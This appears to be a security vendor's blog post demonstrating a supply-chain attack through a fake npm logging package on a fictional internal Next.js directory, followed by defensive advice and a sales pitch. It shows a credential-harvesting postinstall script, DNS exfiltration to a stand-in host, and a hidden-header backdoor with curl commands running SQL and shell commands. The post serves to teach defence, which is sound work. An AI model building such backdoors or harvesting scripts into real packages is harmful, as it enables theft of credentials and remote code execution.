"Our app isn't even exposed to the internet, we're fine".

Founder of Keybrum
Published 11 min read
On this page8 sections

You hear this sentence a lot when people talk about application security, and it sounds logical. You deploy the application on an internal network, behind a VPN, with SSO authentication, and you tell yourself that since the attack comes from the outside, if nobody can reach it, nobody can attack it.

Except that (Plot twist!) the attack doesn't always come from the outside, it can come from a simple dependency install.

A bit of recent history to warm you up:

On March 31, 2026, axios gets compromised. We're talking here about a library with more than a hundred million downloads a week that ends up with a remote access trojan injected through a phantom dependency. The malicious versions of the library stay online for nearly three hours. CISA publishes a formal alert twenty days later.

And that's one case among others, in that same month of March, TeamPCP compromises LiteLLM on PyPI by poisoning Trivy first.

In May, Microsoft's durabletask package gets hijacked to steal cloud credentials.

In August, ChainDrop infects more than 400 npm packages in a few hours.

These incidents hit everyone, from the small startup, to mid-size and large companies, all the way up to our biggest government agencies. (Then again, when you know that an average Next.js application ships between 800 and 1,500 transitive dependencies, you can guess that's just as many dependency branches no developer will ever read through).

So the question I asked myself: what can a single malicious package really do, on a well-built application, hosted on a private corporate network, with no inbound internet access?

I suggest a quick demonstration to answer it. Let's build a malicious package together, and run an end-to-end attack on said application.

Enjoy the read!

Step one, a clean and well-engineered application

The starting point, for those who aren't following, is a nice clean application, we'll call it Harbor. It's an internal employee directory, built with Next.js 15, connected to a PostgreSQL database. The kind of portal you deploy for an HR team or for new hires.

Harbor is built properly:

  • Its authentication uses a signed cookie (HMAC-SHA256) with a strong secret (stronger than "4") and httpOnly.
  • Every API route checks the session before answering.
  • The secrets are in a .env that has never been committed by a junior dev on Claude Code.
  • The database holds 20 fictional employees with name, email, phone, department.
  • The application runs on a localhost:3333, on a corporate network. It isn't exposed to the internet.

The /api/users route, the most sensitive one, is properly protected:

js
// victim/app/api/users/route.js
import { getSessionFromRequest } from "../../../lib/session.mjs";
import { withTelemetry } from "@nicelog/next";   // ← The trap is here

async function handler(request) {
  const session = getSessionFromRequest(request);
  if (!session) {
    return NextResponse.json({ error: "Unauthorized" }, { status: 401 });
  }
  const users = await getUsers();
  return NextResponse.json({ users });
}

export const GET = withTelemetry(handler);

On the classic security side, nothing to fault at first glance. Authentication is in place, the secrets aren't exposed, the database isn't open, the code is clean. A code audit would give a green light.

The problem is elsewhere.

I'm putting the application's source on the GitHub you'll find at the end of the article.

Building the trap: a package that does exactly what it promises

I'm moving on quickly to the serious stuff because we're not here to vibe-code a Next.js application.

Now, the bad guy side. I'm going to call our dependency @nicelog/next. A great package for "Structured logging & telemetry for Next.js". I give it a polished README, a little green linter badge, clean and published TypeScript types. It's a very simple package that exports three functions:

  • withTelemetry(handler): wraps a route handler to trace the requests.
  • initTelemetry(): gets called in instrumentation.ts.
  • logger: a structured JSON logger.

A developer who reads the code (if any still exist :P ) sees nothing abnormal in it. The API is clean, the package has a .d.ts file, it does what it says: the requests really are traced.

But the package does two more little things, and neither one is visible in the public API.

First shady thing, right at install

In case you didn't know, when you run npm install, npm executes a script called postinstall present in each package .. with the developer's privileges and network access. The application hasn't even started yet.

Here our dependency has, as its postinstall script, a collection pass that will grab a few pieces of information:

js
// malicious-pkg/scripts/postinstall.js (simplified)
const cfg = {
  host: os.hostname(),
  user: os.userInfo().username,
  platform: os.platform(),
  ci: detectCI(),          // GitHub Actions, GitLab CI, Jenkins, Azure DevOps...
  env: filterEnv(/secret|key|token|password|database|api|stripe|aws/i),
  ssh: findSSHKeys(home),  // id_rsa, id_ed25519, agent socket
  npmrc: readNpmTokens(home),
  gitUser: readGitConfig(home),
  envFiles: findEnvFiles(process.cwd()),   // .env, .env.local, .env.production
  cloud: findCloudCredentials(home),       // AWS, GCP, Azure, Kubernetes, Docker
};

All this information heads off to a command server (called a C2, for those interested) whose address is hex-encoded to escape grep. In parallel, each fragment is exfiltrated a second time over DNS: hex-encoded in a subdomain (<hex>.0.env-keys.cfg.nicelog-analytics.internal). This backup channel gets through the firewalls that only filter HTTP. It's rather vicious and awfully effective.

The trouble continues at runtime: a secret header opens five doors

The trap continues with its little withTelemetry decorator. When the wrapper detects a special HTTP header (x-nlg-debug), it intercepts the request before it reaches the application's code. So authentication sees nothing go by, because the malicious code runs inside the server process with every privilege it can have.

The commands are all double base64-encoded to escape WAFs and logs:

CommandEffect
envReturns every environment variable
sql:<query>Connects to PostgreSQL through the DATABASE_URL and runs the query
exec:<command>Runs a shell command on the server
read-file:<path>Reads an arbitrary file
proxy-emailsExtracts every contact from the database and exfiltrates them over DNS

In parallel, initTelemetry() starts an outbound beacon which, every 30 seconds, sends the C2 the hostname, the memory usage, the network interfaces and the names of the sensitive variables.

Yes, it's starter, main course, dessert on the attacker's side.

The attack, end to end

Install: the secrets leave before the very first start

bash
npm install

On the C2's terminal:

text
  INSTALL-TIME SECRETS RECEIVED
  Host:      dev-laptop-marie
  User:      marie.dupont
  Platform:  linux x64
  SSH keys:  id_ed25519, agent-socket
  npm:       2 token(s)
  Cloud:     aws, docker
  .env:      2 file(s) with secrets
    DATABASE_URL     = postgresql://harbor:[email protected]:55432/harbor
    SESSION_SECRET   = harbor-session-secret-change-me-in-production-9f8a7b6c
    STRIPE_API_KEY   = sk_live_harbor_FAKE_51HarborDemoNotReal_xR7qPm2Lk9vT3nW8d...
    AWS_ACCESS_KEY_ID = AKIA...

The Stripe key, the session secret, the AWS credentials, the npm tokens: everything is gone. (Yes, a Stripe key in an HR directory — leftover from a .env copy-pasted between internal projects, a great classic.) If the install had run in a CI/CD pipeline, the script would have detected it and stolen the environment's specific secrets (deployment tokens, build variables, registry credentials).

Startup: the beacon launches in silence

Harbor starts. The user sees nothing. In the background:

text
  [15:42:03] Beacon: harbor-internal-01 pid=48291 uptime=2s 104MB RSS 53 fds
  [15:42:33] Beacon: harbor-internal-01 pid=48291 uptime=30s 105MB RSS 66 fds

The application is on a private network, with no inbound access. The beacon, on the other hand, initiates outbound connections. Most corporate firewalls allow outbound HTTPS, so move along, nothing to see :)

And the detail that really hurts: the beacon's HTTP response can also carry commands. The attacker queues a task on their C2, and 30 seconds later the compromised server fetches it all by itself, runs it, and sends back the result. Zero inbound connection needed. For the demo below, I send curl requests directly on localhost through the x-nlg-debug header, but in real conditions both channels work without ever exposing Harbor to the internet.

Exploitation: three requests are enough

The caviar of our attack, in 3 little requests

Environment variables: one request on any route protected by withTelemetry:

bash
curl -s -H "x-nlg-debug: $(echo -n env | base64 -w0 | base64 -w0)" \
  http://localhost:3333/api/users
json
{ "DATABASE_URL": "postgresql://harbor:harbor-local-only@...",
  "SESSION_SECRET": "harbor-session-secret-change-me-in-production-9f8a7b6c",
  "STRIPE_API_KEY": "sk_live_harbor_FAKE_51HarborDemoNotReal..." }

Database: the package connects directly to PostgreSQL:

bash
curl -s -H "x-nlg-debug: $(echo -n 'sql:SELECT name, email, phone, department FROM users LIMIT 5' \
  | base64 -w0 | base64 -w0)" http://localhost:3333/api/users
json
{ "rows": [
    { "name": "Marie Dupont",    "email": "[email protected]",    "phone": "+33 6 12 34 56 78" },
    { "name": "Thomas Bernard",  "email": "[email protected]",  "phone": "+33 6 23 45 67 89" },
    { "name": "Nicolas Fournier","email": "[email protected]","phone": "+33 6 89 01 23 45" }
  ] }

The /api/users route checks the session, thanks to it, but our package intercepts all the information first. Thanks to us.

Remote code execution: file reads and system commands:

bash
curl -s -H "x-nlg-debug: $(echo -n 'exec:id && hostname' \
  | base64 -w0 | base64 -w0)" http://localhost:3333/api/users
json
{ "output": "uid=1000(harbor) gid=1000(harbor)\nharbor-internal-01" }

At this stage, the attacker can read the configuration, modify the application, install persistent access or pivot to other machines on the network.

On the attacker's side, everything comes back in real time in a full C2 dashboard: attack topology, timeline, secrets stolen at install and an interactive remote shell.

Cherry on the cake: exfiltration over DNS

The proxy-emails command extracts all the personal data from the database and exfiltrates it over DNS:

text
  DNS exfil: pii-count — 3 simulated queries
    dig 3230.0.pii-count.rt.nicelog-analytics.internal

Each subdomain encodes a fragment of data in hexadecimal. The firewalls that filter HTTP don't block DNS queries.

Why the private network doesn't protect you

So let's come back to our hypothesis, the most widespread one among the decision-makers I meet: "Our application is on the internal network, it isn't exposed, so it's safe."

This demonstration shows the opposite. The malicious dependency is a Trojan horse that came in through the software supply chain, an npm install or a pip install that every developer runs every day.

VectorWhat happensDoes the private network block it?
npm installThe postinstall runs on the developer's machine or the CI server. These machines have internet.No
App startupThe beacon initiates outbound connections to the C2. Most firewalls allow outbound traffic.No
HTTP header / C2 beaconThe secret header activates the backdoor, and the outbound beacon's response can also carry C2 commands with no inbound access at all.No
DNS exfiltrationThe stolen data is hex-encoded in subdomains. DNS queries get through HTTP firewalls.No
CI/CD pipelineThe postinstall detects the CI environment and steals the pipeline's secrets: GitHub tokens, deployment keys, build variables.No

The private network protects against scans and surface attacks. It doesn't protect against what arrives through the supply chain.

The scale of the problem

This lab (link to the GitHub repo at the end of the article) reproduces techniques observed in real life:

IncidentDateImpact
event-stream2018Package downloaded 2 million times a week, compromised to target a Bitcoin wallet
ua-parser-js20218 million downloads a week, cryptominer + password stealer injected
colors.js / faker.js2022Sabotage by the author, infinite loops, 20,000+ projects affected
Codecov bash uploader2021CI script modified for 2 months, environment variables of thousands of pipelines exfiltrated
PyPI typosquatting2023–2026Dozens of fake Python packages published every month, names close to popular packages

npm hosts more than 2.5 million packages today. An average Next.js project ships between 800 and 1,500 transitive dependencies. Every update of any one of them is a potential vector.

The problem concerns every package ecosystem: pip, cargo, gems, Maven. The structural weaknesses are the same: implicit trust in the maintainer, code executed at install, the practical impossibility of checking 1,500 dependencies at every update.

Super cool thanks but what can I do about it?

Control what comes in

Without wanting to state the obvious, the first line of defense is knowing what you install.

  • Lock the versions (package-lock.json, pnpm-lock.yaml) and check the changes at every update.
  • Block the install scripts: npm config set ignore-scripts true by default, then allow package by package.
  • Use a private mirror (Verdaccio, Artifactory) with an approval list for critical applications.
  • Watch the weak signals: a package published 24 hours ago, a name one letter away from a known package, a maintainer who changed recently.

Reduce the blast radius

The second line starts from the principle that a dependency will end up being compromised.

  • Least privilege: the application should only have access to the tables and columns it uses. A SELECT * on users from a logger should not be possible.
  • Isolate the secrets: don't put the Stripe key, the session secret and the database password in the same .env accessible to the whole process.
  • Filter outbound traffic: an internal HR portal has no reason to contact api.stripe.com or an unknown domain. Outbound connections must be explicitly allowed.
  • Separate build and runtime: the production server shouldn't have the CI's secrets, and vice versa.

Test continuously

The third line is verification by proof through continuous, automated testing, on the application in production.

That's what we do at Keybrum where three of our mechanisms cover the chain:

  1. The install guard: A hook that runs before every npm install in your code editor (Cursor, Claude Code) or your CI pipeline. It queries the OpenSSF database of known malicious packages, checks that the package really exists on the registry (AI models hallucinate package names that anyone can then register), and blocks the versions published less than 24 hours ago.
  2. The CVE watch: Every hour, the application's lockfile is compared against every published advisory. When a known vulnerability hits one of your dependencies, you receive the version to install and the prompt for your coding agent.
  3. The automated pentest: The attack on the application in production, the way a real attacker would do it. The open routes, the exposed keys, the reachable databases, the exploitable CVEs. Every finding is a reproducible request, with its proof and its fix.

Of course, no tool promises to detect a custom-made backdoor never seen before, it would be dishonest to claim the opposite, however the three levels above cover a good part of reality: the known malicious packages, the published flaws in your dependencies, and the doors that any compromise opens in your application in production.

Conclusion

Thanks for reading all of this. I hope you liked the article and that it was clear and instructive enough, for you or your teams.

This demonstration fits in a directory, an npm install and a curl command. It works on any Next.js, Express, Remix, Nuxt application, in short any Node.js project that imports a package. The same mechanisms exist in Python, in Ruby, in Go.

The lab's source code is available on the Keybrum GitHub (Keybrum/labs/supply-chain). You can run it in five minutes.

You build applications with Next.js, React, or a modern framework?

I'm offering you a 30-minute demonstration. I launch the scan on your application, live, and we look together at what comes out.

Book a slot

Talk to our team